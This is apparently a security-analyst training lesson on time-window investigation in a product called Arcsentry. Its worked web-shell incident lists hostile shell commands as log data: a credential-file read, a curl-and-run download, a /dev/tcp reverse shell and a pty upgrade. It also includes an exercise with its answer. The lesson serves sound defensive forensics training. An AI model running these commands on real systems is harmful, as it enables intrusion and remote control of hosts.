Lesson 5.5

Working in time

Investigate around a moment in Arcsentry: time windows in AQL, the ±5 and ±30 minute pivots, the time range, and the histogram as a navigator.

12 minEveryone
At a glance for experienced analysts
  • From any event: Pivot ±5 min around this event. From a value: Pivot ±5 min or ±30 min.
  • In AQL: timestamp >= @… && timestamp < @… + 10minutes.
  • The histogram above the results shows when things happened. Use the zoom buttons next to the time range to narrow in.

A time is the most useful thing you can learn about an attack. From one time, you can find everything around it.

Pivot from an event

Open any event, then Pivot ±5 min around this event. Hunt opens on that host for the ten minutes around the event, so you can see what else it recorded then: web requests, process executions, logons.

Right-click a value in the table for Pivot ±5 min or Pivot ±30 min, which does the same around that value’s time.

A window in the query

When you want the window in the query itself, so that you can paste it into a note or a rule:

filter event_type == "linux_auditd" && user_id == "33"
filter timestamp >= @2026-11-24T02:47:19Z && timestamp < @2026-11-24T02:47:19Z + 10minutes
select {timestamp, process_args}
sort {timestamp}
Time (UTC) Command
02:47:40 id
02:48:20 uname -a
02:49:00 cat /etc/passwd
02:49:40 cat ../../../../../wp-config.php
02:50:20 curl -s http://198.51.100.23/l.sh -o /tmp/.l.sh
02:51:00 bash /tmp/.l.sh
02:52:31 bash -c bash -i >& /dev/tcp/198.51.100.23/443 0>&1
02:52:51 python3 -c import pty;pty.spawn('/bin/bash')

The web server’s own log tells the same story from the other side: the eight web shell requests from 203.0.113.77 fall in the same minutes and carry the same commands.

The time range

The Time range button limits every view, not just this query. Use it once you know the night of the attack, so that Timeline, Sessions and the Graph show only that period. Remember to clear it before you look for earlier activity.

The histogram as a navigator

The histogram above Hunt results
Eight requests, one bar each, spread over three minutes.

The histogram shows where results fall in time. Gaps and bursts are both clues: the web shell requests come every 13 to 45 seconds, the pace of someone typing commands by hand.

Check yourself

1. You found the upload at 02:47:19. What is the quickest way to see what else happened on web01 then?

Try it

On web01, list the commands run by the web server account (user_id 33) in the ten minutes after the upload at 02:47:19 UTC. What is the last one, and what does it do? What happens next, at 02:58?

Show the answer

Eight commands, ending with python3 -c import pty;pty.spawn('/bin/bash') at 02:52:51, which upgrades a reverse shell to an interactive terminal. The one before it, at 02:52:31, is the reverse shell bash -i >& /dev/tcp/198.51.100.23/443. Widen the window and at 02:58:06 the account runs su deploy: the attacker switches to the deploy account.

Progress is saved in this browser only.